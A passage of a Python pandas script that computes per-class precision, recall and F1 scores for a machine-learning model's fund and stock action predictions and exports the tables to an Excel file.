if(Increment.Truepositive.values[i]!='nan' and Increment.Prediction.values[i]!='nan'):\n Increment.PRECISION.values[i] = (int(Increment.Truepositive.values[i])/int(Increment.Prediction.values[i]))\n else:\n Increment.PRECISION.values[i] = 0\n\n if(Increment.Truepositive.values[i]!='nan' and Increment.Originals.values[i]!='nan'):\n Increment.Recall.values[i] = (int(Increment.Truepositive.values[i])/int(Increment.Originals.values[i]))\n else:\n Increment.Recall.values[i] = 0\n if(Increment.PRECISION.values[i]!=0 and Increment.Recall.values[i]!=0):\n Increment.F1Score.values[i] = (2*(Increment.PRECISION.values[i]*(Increment.Recall.values[i]))/((Increment.PRECISION.values[i])+(Increment.Recall.values[i])))\n\n\n\n\nheader_list = list(Increment.columns)\nmax_rows = 5\n\nIncrement1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\n\nIncrement1.fund_id.values[0] = i+1\nIncrement = Increment.replace('nan', 0)\n\n\nIncrement[['Originals']] = Increment[['Originals']].astype(int)\nIncrement1.Originals.values[0] = (Increment.Originals).sum()\nIncrement1.Prediction.values[0] = Increment['Prediction'].sum()\nIncrement1.Truepositive.values[0] = Increment['Truepositive'].sum()\nIncrement1.FalsePositive.values[0] = Increment['FalsePositive'].sum()\nIncrement1.FalseNegative.values[0] = Increment['FalseNegative'].sum()\nIncrement1.Recall.values[0] = (Increment1.Truepositive.values[0]/Increment1.Originals.values[0])\nIncrement1.PRECISION.values[0] = (Increment1.Truepositive.values[0]/Increment1.Prediction.values[0])\nIncrement1.F1Score.values[0] = (2*(Increment1.PRECISION.values[0]*(Increment1.Recall.values[0]))/((Increment1.PRECISION.values[0])+(Increment1.Recall.values[0])))\nIncrement1.MaxConfidence.values[0] = np.std(Increment['MaxConfidence'])\nIncrement = Increment[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nIncrement1 = Increment1[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nIncrement = Increment.append(Increment1)\nIncrement = Increment.drop(['MaxConfidence','Confidencelevel'], axis=1)\nIncrement.reset_index(drop=True, inplace=True)\n\n\n \nDecrement = df3Decrefinal.join(results.set_index('fund_id'), on='fund_id')\n\nDecrement['Recall']= str(np.nan)\nDecrement['PRECISION']= str(np.nan)\nDecrement['F1Score']= str(np.nan)\nfor i in range(0, len(Decrement.index)):\n if(Decrement.Truepositive.values[i]!='nan' and Decrement.Prediction.values[i]!='nan'):\n Decrement.PRECISION.values[i] = (int(Decrement.Truepositive.values[i])/int(Decrement.Prediction.values[i]))\n else:\n Decrement.PRECISION.values[i] = 0\n\n if(Decrement.Truepositive.values[i]!='nan' and Decrement.Originals.values[i]!='nan'):\n Decrement.Recall.values[i] = (int(Decrement.Truepositive.values[i])/int(Decrement.Originals.values[i]))\n else:\n Decrement.Recall.values[i] = 0\n if(Decrement.PRECISION.values[i]!=0 and Decrement.Recall.values[i]!=0):\n Decrement.F1Score.values[i] = (2*(Decrement.PRECISION.values[i]*(Decrement.Recall.values[i]))/((Decrement.PRECISION.values[i])+(Decrement.Recall.values[i])))\n \nDecrement1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\n\nDecrement1.fund_id.values[0] = i+1\nDecrement = Decrement.replace('nan', 0)\n\n\nDecrement[['Originals']] = Decrement[['Originals']].astype(int)\nDecrement1.Originals.values[0] = (Decrement.Originals).sum()\nDecrement1.Prediction.values[0] = Decrement['Prediction'].sum()\nDecrement1.Truepositive.values[0] = Decrement['Truepositive'].sum()\nDecrement1.FalsePositive.values[0] = Decrement['FalsePositive'].sum()\nDecrement1.FalseNegative.values[0] = Decrement['FalseNegative'].sum()\nDecrement1.Recall.values[0] = (Decrement1.Truepositive.values[0]/Decrement1.Originals.values[0])\nDecrement1.PRECISION.values[0] = (Decrement1.Truepositive.values[0]/Decrement1.Prediction.values[0])\nDecrement1.F1Score.values[0] = (2*(Decrement1.PRECISION.values[0]*(Decrement1.Recall.values[0]))/((Decrement1.PRECISION.values[0])+(Decrement1.Recall.values[0])))\nDecrement1.MaxConfidence.values[0] = np.std(Decrement['MaxConfidence'])\nDecrement = Decrement[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nDecrement1 = Decrement1[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nDecrement = Decrement.append(Decrement1)\nDecrement = Decrement.drop(['MaxConfidence','Confidencelevel'], axis=1)\nDecrement.reset_index(drop=True, inplace=True)\n\nHold = df3Holdfinal.join(results.set_index('fund_id'), on='fund_id')\n\nHold['Recall']= str(np.nan)\nHold['PRECISION']= str(np.nan)\nHold['F1Score']= str(np.nan)\nfor i in range(0, len(Hold.index)):\n if(Hold.Truepositive.values[i]!='nan' and Hold.Prediction.values[i]!='nan'):\n Hold.PRECISION.values[i] = (int(Hold.Truepositive.values[i])/int(Hold.Prediction.values[i]))\n else:\n Hold.PRECISION.values[i] = 0\n\n if(Hold.Truepositive.values[i]!='nan' and Hold.Originals.values[i]!='nan'):\n Hold.Recall.values[i] = (int(Hold.Truepositive.values[i])/int(Hold.Originals.values[i]))\n else:\n Hold.Recall.values[i] = 0\n if(Hold.PRECISION.values[i]!=0 and Hold.Recall.values[i]!=0):\n Hold.F1Score.values[i] = (2*(Hold.PRECISION.values[i]*(Hold.Recall.values[i]))/((Hold.PRECISION.values[i])+(Hold.Recall.values[i])))\nHold1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\n\nHold1.fund_id.values[0] = i+1\nHold = Hold.replace('nan', 0)\n\n\nHold[['Originals']] = Hold[['Originals']].astype(int)\nHold1.Originals.values[0] = (Hold.Originals).sum()\nHold1.Prediction.values[0] = Hold['Prediction'].sum()\nHold1.Truepositive.values[0] = Hold['Truepositive'].sum()\nHold1.FalsePositive.values[0] = Hold['FalsePositive'].sum()\nHold1.FalseNegative.values[0] = Hold['FalseNegative'].sum()\nHold1.Recall.values[0] = (Hold1.Truepositive.values[0]/Hold1.Originals.values[0])\nHold1.PRECISION.values[0] = (Hold1.Truepositive.values[0]/Hold1.Prediction.values[0])\nHold1.F1Score.values[0] = (2*(Hold1.PRECISION.values[0]*(Hold1.Recall.values[0]))/((Hold1.PRECISION.values[0])+(Hold1.Recall.values[0])))\nHold1.MaxConfidence.values[0] = np.std(Hold['MaxConfidence'])\nHold = Hold[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nHold1 = Hold1[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nHold = Hold.append(Hold1) \n\nRemove = df3Removefinal.join(results.set_index('fund_id'), on='fund_id')\n\n\nRemove['Recall']= str(np.nan)\nRemove['PRECISION']= str(np.nan)\nRemove['F1Score']= str(np.nan)\nfor i in range(0, len(Remove.index)):\n if(Remove.Truepositive.values[i]!='nan' and Remove.Prediction.values[i]!='nan'):\n Remove.PRECISION.values[i] = (int(Remove.Truepositive.values[i])/int(Remove.Prediction.values[i]))\n else:\n Remove.PRECISION.values[i] = 0\n\n if(Remove.Truepositive.values[i]!='nan' and Remove.Originals.values[i]!='nan'):\n Remove.Recall.values[i] = (int(Remove.Truepositive.values[i])/int(Remove.Originals.values[i]))\n else:\n Remove.Recall.values[i] = 0\n if(Remove.PRECISION.values[i]!=0 and Remove.Recall.values[i]!=0):\n Remove.F1Score.values[i] = (2*(Remove.PRECISION.values[i]*(Remove.Recall.values[i]))/((Remove.PRECISION.values[i])+(Remove.Recall.values[i])))\nRemove1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\n\nRemove1.fund_id.values[0] = i+1\nRemove = Remove.replace('nan', 0)\n\n\nRemove[['Originals']] = Remove[['Originals']].astype(int)\nRemove1.Originals.values[0] = (Remove.Originals).sum()\nRemove1.Prediction.values[0] = Remove['Prediction'].sum()\nRemove1.Truepositive.values[0] = Remove['Truepositive'].sum()\nRemove1.FalsePositive.values[0] = Remove['FalsePositive'].sum()\nRemove1.FalseNegative.values[0] = Remove['FalseNegative'].sum()\nRemove1.Recall.values[0] = (Remove1.Truepositive.values[0]/Remove1.Originals.values[0])\nRemove1.PRECISION.values[0] = (Remove1.Truepositive.values[0]/Remove1.Prediction.values[0])\nRemove1.F1Score.values[0] = (2*(Remove1.PRECISION.values[0]*(Remove1.Recall.values[0]))/((Remove1.PRECISION.values[0])+(Remove1.Recall.values[0])))\nRemove1.MaxConfidence.values[0] = np.std(Remove['MaxConfidence'])\nRemove = Remove[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nRemove1 = Remove1[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Prediction','Truepositive','FalsePositive','FalseNegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nRemove = Remove.append(Remove1)\n\nSpeechcomp = df.join(results.set_index('fund_id'), on='fund_id')\n\n\nSpeechcomp = Speechcomp[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Predictions','MaxConfidence','Confidencelevel']]\n\nSpeechcomp = Speechcomp.join(df3result.set_index('fund_id'), on='fund_id')\nSpeechcomp = Speechcomp.join(df3results.set_index('fund_id'), on='fund_id')\nSpeechcomp = Speechcomp.join(df3result1.set_index('fund_id'), on='fund_id')\n#Speechcomp = pd.merge(Speechcomp, df3result, on=['fund_id'])\n#Speechcomp = pd.merge(Speechcomp, df3results, on=['fund_id'])\n#Speechcomp = pd.merge(Speechcomp, df3result1, on=['fund_id'])\n\n\nSpeechcomp['Recall']= str(np.nan)\nSpeechcomp['PRECISION']= str(np.nan)\nSpeechcomp['F1Score']= str(np.nan)\nfor i in range(0, len(Speechcomp.index)):\n if(Speechcomp.Truepositive.values[i]!='nan' and Speechcomp.Predictions.values[i]!='nan'):\n Speechcomp.PRECISION.values[i] = (int(Speechcomp.Truepositive.values[i])/int(Speechcomp.Predictions.values[i]))\n else:\n Speechcomp.PRECISION.values[i] = 0\n\n if(Speechcomp.Truepositive.values[i]!='nan' and Speechcomp.Originals.values[i]!='nan'):\n Speechcomp.Recall.values[i] = (int(Speechcomp.Truepositive.values[i])/int(Speechcomp.Originals.values[i]))\n else:\n Speechcomp.Recall.values[i] = 0\n if(Speechcomp.PRECISION.values[i]!=0 and Speechcomp.Recall.values[i]!=0):\n Speechcomp.F1Score.values[i] = (2*(Speechcomp.PRECISION.values[i]*(Speechcomp.Recall.values[i]))/((Speechcomp.PRECISION.values[i])+(Speechcomp.Recall.values[i])))\nheader_list = list(Speechcomp.columns)\nSpeechcomp1 = pd.DataFrame(str(np.nan),[max_rows],columns= header_list)\n\nSpeechcomp1.fund_id.values[0] = i+1\nSpeechcomp = Speechcomp.replace('nan', 0)\n\nSpeechcomp[['Originals']] = Speechcomp[['Originals']].astype(int)\nSpeechcomp1.Originals.values[0] = (Speechcomp.Originals).sum()\nSpeechcomp1.Predictions.values[0] = Speechcomp['Predictions'].sum()\nSpeechcomp1.Truepositive.values[0] = Speechcomp['Truepositive'].sum()\nSpeechcomp1.Falsepositive.values[0] = Speechcomp['Falsepositive'].sum()\nSpeechcomp1.Falsenegative.values[0] = Speechcomp['Falsenegative'].sum()\n\n#\n#Speechcomp1.Truepositive.values[0] = np.ones(1000000, dtype=np.int64)\n#Speechcomp1.Originals.values[0] = np.ones(1000000, dtype=np.int64)\n#Speechcomp1.Predictions.values[0] = np.ones(1000000, dtype=np.int64)\n\nSpeechcomp1.Recall.values[0] = (Speechcomp1.Truepositive.values[0]/Speechcomp1.Originals.values[0])\nSpeechcomp1.PRECISION.values[0] = (Speechcomp1.Truepositive.values[0]/Speechcomp1.Predictions.values[0])\nSpeechcomp1.F1Score.values[0] = (2*(Speechcomp1.PRECISION.values[0]*(Speechcomp1.Recall.values[0]))/((Speechcomp1.PRECISION.values[0])+(Speechcomp1.Recall.values[0])))\n\nSpeechcomp1.MaxConfidence.values[0] = np.std(Speechcomp['MaxConfidence'])\nSpeechcomp = Speechcomp[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Predictions','Truepositive','Falsepositive','Falsenegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nSpeechcomp1 = Speechcomp1[['fund_id','Fundname','Type','Style','AUM','Turnover','Region','Originals','Predictions','Truepositive','Falsepositive','Falsenegative','Recall','PRECISION','F1Score','MaxConfidence','Confidencelevel']]\nSpeechcomp = Speechcomp.append(Speechcomp1)\nSpeechcomp = Speechcomp.drop(['MaxConfidence','Confidencelevel'], axis=1)\nSpeechcomp.reset_index(drop=True, inplace=True)\n\n\nwriter = pd.ExcelWriter(Finaloutput+\"\\\\\"'Fund Analysis_NonOwner_2019Q2_Sector11_ML_Studio_Python_v1.xlsx', engine='xlsxwriter')\n\n# Write each dataframe to a different worksheet.\nSpeechcomp.to_excel(writer, sheet_name='All')\nIncrement.to_excel(writer, sheet_name='Buy')\nDecrement.to_excel(writer, sheet_name='NA')\n\n# Close the Pandas Excel writer and output the Excel file.\nwriter.save()\n\n\n\ndel results\n#-----------------------------------------------------------------------\n\nindex=np.arange(len(df1.index)) \n #creates a new dataframe\n#Column_Names = ['stock_id','Ticker','Cap_Size','Sector','ActionTaken','ScoredLabels','Result','Resultfalse','Truepositive','Increment','Decrement','Hold','Remove','Incrementtotal','Decrementtotal','Holdtotal','Removetotal','Incrementfalse','Decrementfalse','Holdfalse','Removefalse','Incrementpredict','Decrementpredict','HoldPredict','Removepredict','Incrementfalsenegative','Decrementfalsenegative','Holdfalsenegative','Removefalsenegative','MaxConfidence','Confidencelevel']\nColumn_Names = ['stock_id','Ticker','ActionTaken','ScoredLabels','Result','Resultfalse','Truepositive','Increment','Decrement','Hold','Remove','Incrementtotal','Decrementtotal','Holdtotal','Removetotal','Incrementfalse','Decrementfalse','Holdfalse','Removefalse','Incrementpredict','Decrementpredict','HoldPredict','Removepredict','Incrementfalsenegative','Decrementfalsenegative','Holdfalsenegative','Removefalsenegative','MaxConfidence','Confidencelevel']\ndf4 = pd.DataFrame(str(np.nan),index,columns= Column_Names)\n\n\n#df3['Fundname'] = df3['Fundname'].astype(str)\n\n'''\nCompanyAnalysis_2Q2018_ALL_ML_Studio\n1. Step 1 - Divide the data frame to 4 different file(Increment, Decrement, Hold, Remove)\n2. Step 2 - Add condition where Action taken = Scored labels (Truepositive)\n3. Step 3 - Add condition where Action taken !=Scored labels(False positive)\n4. Step 4 - Original will be the total action taken value\n5. Step5 - Prediction will be the total scored labels value\n6. Step 6 - If Scored labels != Action Taken (False Negative)\n\n\n'''\n\ndf4['Result'] = str(np.nan)\ndf4['stock_id'] = df1['stock_id']\ndf4['ActionTaken']= df1['ClassInd']\ndf4['ScoredLabels'] = df1['ScoredLabels']\n\n#df4 ['MaxConfidence'] = df1[[\"Scored Probabilities for Class \\\"Decreasing\\\"\", \"Scored Probabilities for Class \\\"Hold\\\"\",\"Scored Probabilities for Class \\\"Increasing\\\"\",\"Scored Probabilities for Class \\\"Remove\\\"\"]].max(axis=1)\n#df4 ['MaxConfidence'] = df1[[\"Scored Probabilities for Class \\\"Decreasing\\\"\", \"Scored Probabilities for Class \\\"Hold\\\"\",\"Scored Probabilities for Class \\\"Increasing\\\"\"]].max(axis=1)\n#df4 ['MaxConfidence'] = df1[[\"Scored Probabilities for Class \\\"Decreasing\\\"\", \"Scored Probabilities for Class \\\"Increasing\\\"\"]].max(axis=1)\n'''\ndf4 ['MaxConfidence'] = df1[[\"ScoredProbabilities\"]].max(axis=1)\n\ndf4.loc[df4['MaxConfidence'] >=0.7, 'Confidencelevel'] = \"High\"\n\ndf4.loc[df4['MaxConfidence'] <0.7,'Confidencelevel'] = \"Medium\"\n\ndf4.loc[df4['MaxConfidence']<0.5, 'Confidencelevel'] = \"Low\"\n'''\n\n# =============================================================================\n# for i in range(0, len(df1.index)): \n# df4.Ticker.values[i]= Ticker(df1.stock_id.values[i])\n# # df3.Fundname.values[i]= (\"A\".astype(float))\n# df4.MaxConfidence.values[i] = Maxof4(i)\n# df4.Confidencelevel.values[i]= conflevel(df4.MaxConfidence.values[i])\n# =============================================================================\n\n\nfor i in range(0, len(df4.index)): \n if df4.ActionTaken.values[i] =='Increasing':\n df4.Incrementtotal.values[i] = 1\n elif df4.ActionTaken.values[i] =='Decreasing':\n df4.Decrementtotal.values[i] = 1\n elif df4.ActionTaken.values[i] =='Hold':\n df4.Holdtotal.values[i] = 1\n elif df4.ActionTaken.values[i] =='Remove':\n df4.Removetotal.values[i] = 1 \n \n if df4.ScoredLabels.values[i] =='Increasing':\n df4.Incrementpredict.values[i] = 1\n elif df4.ScoredLabels.values[i] =='Decreasing':\n df4.Decrementpredict.values[i] = 1\n elif df4.ScoredLabels.values[i] =='Hold':\n df4.HoldPredict.values[i] = 1\n elif df4.ScoredLabels.values[i] =='Remove':\n df4.Removepredict.values[i] = 1 \n \n \n if df4.ActionTaken.values[i] == df4.ScoredLabels.values[i]:\n df4.Result.values[i] = 1\n if df4.ActionTaken.values[i] =='Increasing':\n df4.Increment.values[i] = 1\n elif df4.ActionTaken.values[i] =='Decreasing':\n df4.Decrement.values[i] = 1\n elif df4.ActionTaken.values[i] =='Hold':\n df4.Hold.values[i] = 1\n elif df4.ActionTaken.values[i] =='Remove':\n df4.Remove.values[i] = 1\n \n else:\n df4.Result.values[i] = 0\n if df4.ActionTaken.values[i] =='Increasing':\n df4.Incrementfalse.values[i] = 1\n elif df4.ActionTaken.values[i] =='Decreasing':\n df4.Decrementfalse.values[i] = 1\n elif df4.ActionTaken.values[i] =='Hold':\n df4.Holdfalse.values[i] = 1\n elif df4.ActionTaken.values[i] =='Remove':\n df4.Removefalse.values[i] = 1\n \n if df4.ScoredLabels.values[i] == df4.ActionTaken.values[i]:\n df4.Resultfalse.values[i] = 1\n else:\n df4.Resultfalse.values[i] = 0\n if df4.ScoredLabels.values[i] =='Increasing':\n df4.Incrementfalsenegative.values[i] = 1\n elif df4.ScoredLabels.values[i] =='Decreasing':\n df4.Decrementfalsenegative.values[i] = 1\n elif df4.ScoredLabels.values[i] =='Hold':\n df4.Holdfalsenegative.values[i] = 1\n elif df4.ScoredLabels.values[i] =='Remove':\n df4.Removefalsenegative.values[i] = 1\n \ndf4Increment = df4.groupby(['stock_id','Increment']).size().reset_index(name='ResultIncre')\ndf4Decrement = df4.groupby(['stock_id','Decrement']).size().reset_index(name='ResultDecre')\ndf4Hold = df4.groupby(['stock_id','Hold']).size().reset_index(name='ResultHold')\ndf4Remove = df4.groupby(['stock_id','Remove']).size().reset_index(name='ResultRemove')\n\ndf4Incrementtotal = df4.groupby(['stock_id','Incrementtotal']).size().reset_index(name='ResultIncre')\ndf4Decrementtotal = df4.groupby(['stock_id','Decrementtotal']).size().reset_index(name='ResultDecre')\ndf4Holdtotal = df4.groupby(['stock_id','Holdtotal']).size().reset_index(name='ResultHold')\ndf4Removetotal = df4.groupby(['stock_id','Removetotal']).size().reset_index(name='ResultRemove')\n\n\ndf4Incrementpredict = df4.groupby(['stock_id','Incrementpredict']).size().reset_index(name='ResultIncre')\ndf4Decrementpredict = df4.groupby(['stock_id','Decrementpredict']).size().reset_index(name='ResultDecre')\ndf4HoldPredict = df4.groupby(['stock_id','HoldPredict']).size().reset_index(name='ResultHold')\ndf4Removepredict = df4.groupby(['stock_id','Removepredict']).size().reset_index(name='ResultRemove')\n\n\ndf4Incrementfalse = df4.groupby(['stock_id','Incrementfalse']).size().reset_index(name='ResultIncre')\ndf4Decrementfalse = df4.groupby(['stock_id','Decrementfalse']).size().reset_index(name='ResultDecre')\ndf4Holdfalse = df4.groupby(['stock_id','Holdfalse']).size().reset_index(name='ResultHold')\ndf4Removefalse = df4.groupby(['stock_id','Removefalse']).size().reset_index(name='ResultRemove')\n\ndf4Incrementfalsenegative = df4.groupby(['stock_id','Incrementfalsenegative']).size().reset_index(name='ResultIncre')\ndf4Decrementfalsenegative = df4.groupby(['stock_id','Decrementfalsenegative']).size().reset_index(name='ResultDecre')\ndf4Holdfalsenegative = df4.groupby(['stock_id','Holdfalsenegative']).size().reset_index(name='ResultHold')\ndf4Removefalsenegative = df4.groupby(['stock_id','Removefalsenegative']).size().reset_index(name='ResultRemove')\n\ndf4result = df4.groupby(['stock_id','Result']).size().reset_index(name='Result1')\ndf4results = df4.groupby(['stock_id','Result']).size().reset_index(name='Result1')\ndf4result1 = df4.groupby(['stock_id','Resultfalse']).size().reset_index(name='Result2')\n\ndf4result['Truepositive'] = str(np.nan)\ndf4results['Falsepositive'] = str(np.nan)\n\nfor i in range(0, len(df4result.index)): \n if(df4result.Result.values[i] == 1):\n df4result.Truepositive.values[i] = df4result.Result1.values[i]\n \nfor i in range(0, len(df4results.index)): \n if(df4results.Result.values[i] == 0):\n df4results.Falsepositive.values[i] = df4results.Result1.values[i]\n \n\ndf4result1['Falsenegative'] = str(np.nan) \n\nfor i in range(0, len(df4result1.index)): \n if(df4result1.Resultfalse.values[i] == 0):\n df4result1.Falsenegative.values[i] = df4result1.Result2.values[i]\n \ndf4result = df4result.sort_values(['Result'], ascending=[False])\ndf4result = df4result.drop_duplicates(['stock_id'],keep='first')\ndf4result = df4result.drop(['Result','Result1'], axis=1)\n\ndf4results = df4results.sort_values(['Result'], ascending=[True])\ndf4results = df4results.drop_duplicates(['stock_id'],keep='first')\ndf4results = df4results.drop(['Result','Result1'], axis=1)\n\n\ndf4result1 = df4result1.sort_values(['stock_id','Resultfalse'], ascending=[True,True])\ndf4result1 = df4result1.drop_duplicates(['stock_id'],keep='first')\ndf4result1 = df4result1.drop(['Resultfalse','Result2'], axis=1)\n\n#---------------------------------------------------------------------------\ndf4Increment['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df4Increment.index)): \n if(df4Increment.Increment.values[i] == 1):\n df4Increment.Truepositive.values[i] = df4Increment.ResultIncre.values[i]\n \ndf4Increment = df4Increment.drop_duplicates(['stock_id',],keep='first')\n\ndf4Increment = df4Increment.drop(['Increment','ResultIncre'], axis=1)\n\n#-----------------------------------------------------------------------------\n\ndf4Decrement['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df4Decrement.index)): \n if(df4Decrement.Decrement.values[i] == 1):\n df4Decrement.Truepositive.values[i] = df4Decrement.ResultDecre.values[i]\n \ndf4Decrement = df4Decrement.drop_duplicates(['stock_id',],keep='first')\n\ndf4Decrement = df4Decrement.drop(['Decrement','ResultDecre'], axis=1)\n#----------------------------------------)---------------------------\n\ndf4Hold['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df4Hold.index)): \n if(df4Hold.Hold.values[i] == 1):\n df4Hold.Truepositive.values[i] = df4Hold.ResultHold.values[i]\n \ndf4Hold = df4Hold.drop_duplicates(['stock_id',],keep='first')\n\ndf4Hold = df4Hold.drop(['Hold','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Remove['Truepositive'] = str(np.nan)\n\nfor i in range(0, len(df4Remove.index)): \n if(df4Remove.Remove.values[i] == 1):\n df4Remove.Truepositive.values[i] = df4Remove.ResultRemove.values[i]\n \ndf4Remove = df4Remove.drop_duplicates(['stock_id',],keep='first')\n\ndf4Remove = df4Remove.drop(['Remove','ResultRemove'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Incrementtotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df4Incrementtotal.index)): \n if(df4Incrementtotal.Incrementtotal.values[i] == 1):\n df4Incrementtotal.Originals.values[i] = df4Incrementtotal.ResultIncre.values[i]\n \ndf4Incrementtotal = df4Incrementtotal.drop_duplicates(['stock_id',],keep='first')\n\ndf4Incrementtotal = df4Incrementtotal.drop(['Incrementtotal','ResultIncre'], axis=1)\n\n\n#-------------------------------------------------------------------------\n\ndf4Decrementtotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df4Decrementtotal.index)): \n if(df4Decrementtotal.Decrementtotal.values[i] == 1):\n df4Decrementtotal.Originals.values[i] = df4Decrementtotal.ResultDecre.values[i]\n \ndf4Decrementtotal = df4Decrementtotal.drop_duplicates(['stock_id',],keep='first')\n\ndf4Decrementtotal = df4Decrementtotal.drop(['Decrementtotal','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Holdtotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df4Holdtotal.index)): \n if(df4Holdtotal.Holdtotal.values[i] == 1):\n df4Holdtotal.Originals.values[i] = df4Holdtotal.ResultHold.values[i]\n \ndf4Holdtotal = df4Holdtotal.drop_duplicates(['stock_id',],keep='first')\n\ndf4Holdtotal = df4Holdtotal.drop(['Holdtotal','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Removetotal['Originals'] = str(np.nan)\n\nfor i in range(0, len(df4Removetotal.index)): \n if(df4Removetotal.Removetotal.values[i] == 1):\n df4Removetotal.Originals.values[i] = df4Removetotal.ResultRemove.values[i]\n \ndf4Removetotal = df4Removetotal.drop_duplicates(['stock_id',],keep='first')\n\ndf4Removetotal = df4Removetotal.drop(['Removetotal','ResultRemove'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Incrementpredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df4Incrementpredict.index)): \n if(df4Incrementpredict.Incrementpredict.values[i] == 1):\n df4Incrementpredict.Prediction.values[i] = df4Incrementpredict.ResultIncre.values[i]\n \ndf4Incrementpredict = df4Incrementpredict.drop_duplicates(['stock_id',],keep='first')\n\ndf4Incrementpredict = df4Incrementpredict.drop(['Incrementpredict','ResultIncre'], axis=1)\n\n\n#-------------------------------------------------------------------------\n\ndf4Decrementpredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df4Decrementpredict.index)): \n if(df4Decrementpredict.Decrementpredict.values[i] == 1):\n df4Decrementpredict.Prediction.values[i] = df4Decrementpredict.ResultDecre.values[i]\n \ndf4Decrementpredict = df4Decrementpredict.drop_duplicates(['stock_id',],keep='first')\n\ndf4Decrementpredict = df4Decrementpredict.drop(['Decrementpredict','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4HoldPredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df4HoldPredict.index)): \n if(df4HoldPredict.HoldPredict.values[i] == 1):\n df4HoldPredict.Prediction.values[i] = df4HoldPredict.ResultHold.values[i]\n \ndf4HoldPredict = df4HoldPredict.drop_duplicates(['stock_id',],keep='first')\n\ndf4HoldPredict = df4HoldPredict.drop(['HoldPredict','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Removepredict['Prediction'] = str(np.nan)\n\nfor i in range(0, len(df4Removepredict.index)): \n if(df4Removepredict.Removepredict.values[i] == 1):\n df4Removepredict.Prediction.values[i] = df4Removepredict.ResultRemove.values[i]\n \ndf4Removepredict = df4Removepredict.drop_duplicates(['stock_id',],keep='first')\n\ndf4Removepredict = df4Removepredict.drop(['Removepredict','ResultRemove'], axis=1)\n\n\n#-------------------------------------------------------------------------\n\ndf4Incrementfalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df4Incrementfalse.index)): \n if(df4Incrementfalse.Incrementfalse.values[i] == 1):\n df4Incrementfalse.FalsePositive.values[i] = df4Incrementfalse.ResultIncre.values[i]\n \ndf4Incrementfalse = df4Incrementfalse.drop_duplicates(['stock_id',],keep='first')\n\ndf4Incrementfalse = df4Incrementfalse.drop(['Incrementfalse','ResultIncre'], axis=1)\n\n#-----------------------------------------------------------------------------\n\ndf4Decrementfalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df4Decrementfalse.index)): \n if(df4Decrementfalse.Decrementfalse.values[i] == 1):\n df4Decrementfalse.FalsePositive.values[i] = df4Decrementfalse.ResultDecre.values[i]\n \ndf4Decrementfalse = df4Decrementfalse.drop_duplicates(['stock_id',],keep='first')\n\ndf4Decrementfalse = df4Decrementfalse.drop(['Decrementfalse','ResultDecre'], axis=1)\n\n#-------------------------------------------------------------------\ndf4Holdfalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df4Holdfalse.index)): \n if(df4Holdfalse.Holdfalse.values[i] == 1):\n df4Holdfalse.FalsePositive.values[i] = df4Holdfalse.ResultHold.values[i]\n \ndf4Holdfalse = df4Holdfalse.drop_duplicates(['stock_id',],keep='first')\n\ndf4Holdfalse = df4Holdfalse.drop(['Holdfalse','ResultHold'], axis=1)\n\n#-------------------------------------------------------------------------\n\ndf4Removefalse['FalsePositive'] = str(np.nan)\n\nfor i in range(0, len(df4Removefalse.index)): \n if(df4Removefalse.Removefalse.values[i] == 1):\n df4Removefalse.FalsePositive.values[i] = df4Removefalse.ResultRemove.values[i]\n \ndf4Removefalse = df4Removefalse.drop_duplicates(['stock_id',],keep='first')\n\ndf4Removefalse = df4Removefalse.drop(['Removefalse','ResultRemove'], axis=1)\n#-------------------------------------------------------------------------\ndf4Incrementfalsenegative['FalseNegative'] = str(np.nan)\n\nfor i in range(0, len(df4Incrementfalsenegative.index)): \n if(df4Incrementfalsenegative.Incrementfalsenegative.values[i] == 1):\n df4Incrementfalsenegative.FalseNegative.values[i] = df4Incrementfalsenegative.ResultIncre.values[i]\n 